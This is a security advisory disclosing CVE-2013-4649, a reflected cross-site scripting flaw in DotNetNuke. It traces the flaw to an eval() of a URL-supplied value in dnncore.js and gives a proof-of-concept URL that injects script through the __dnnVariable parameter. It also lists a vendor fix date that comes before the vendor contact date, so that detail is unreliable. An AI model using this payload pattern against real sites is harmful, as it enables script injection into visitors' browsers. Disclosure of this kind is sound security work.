Title: DotNetNuke (DNN) Cross-Site Scripting Vulnerability
References: CVE-2013-4649
Discovered by: Sajjad Pourali , Nasser Salim Al-Hadhrami

Vendor http://dnnsoftware.com/
Vendor advisory: http://www.dnnsoftware.com/Platform/Manage/Security-Bulletins (2013-07)
Vendor contact: 2013-06-23
Vendor response: 2013-06-24 (Cathal Connolly from DotNetNuke)
Vendor fix and announcement: 2012-08-14

Solution: Update To (6.2.9/7.1.1)
 
Remote: yes
Authentication required: no
User interaction required: yes
Impact: Medium
 
Affected:

 - DNN 7.1.0 and earlier
 - DNN 6.2.8 and earlier
 
Not affected:
 - DNN 7.1.1
 - DNN 6.2.9

---
 
Trace vulnerable place:
 
http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'} : 

  ...
  
  <input name="__dnnVariable" type="hidden" id="__dnnVariable" autocomplete="off" value="`{`__dnn_pageload`:`alert(/XSS/)`,`__scdoff`:`1`}" />

      ...
 

http://www.vulnerable.com/js/dnn.js : 

  ...
 
  Type.registerNamespace("dnn");

  ...

http://www.vulnerable.com/js/dnncore.js : 

  ...
 
  function __dnn_ClientAPIEnabled()
  {
    return typeof (dnn) != "undefined"
  }

      ...
    
  if (__dnn_ClientAPIEnabled())
  {
    var sLoadHandlers = dnn.getVar("__dnn_pageload");
    if (sLoadHandlers != null)
    {
      eval(sLoadHandlers)
    }
      dnn.dom.attachEvent(window, "onscroll", __dnn_bodyscroll)
    }
     __dnn_m_bPageLoaded = true
  }

  ...

---
 
PoC:
 
http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'} 
 
---
 
 + Sajjad Pourali
 + http://www.securation.com/
 + http://www.cert.um.ac.ir/
 + Contact: sajjad[at]securation.com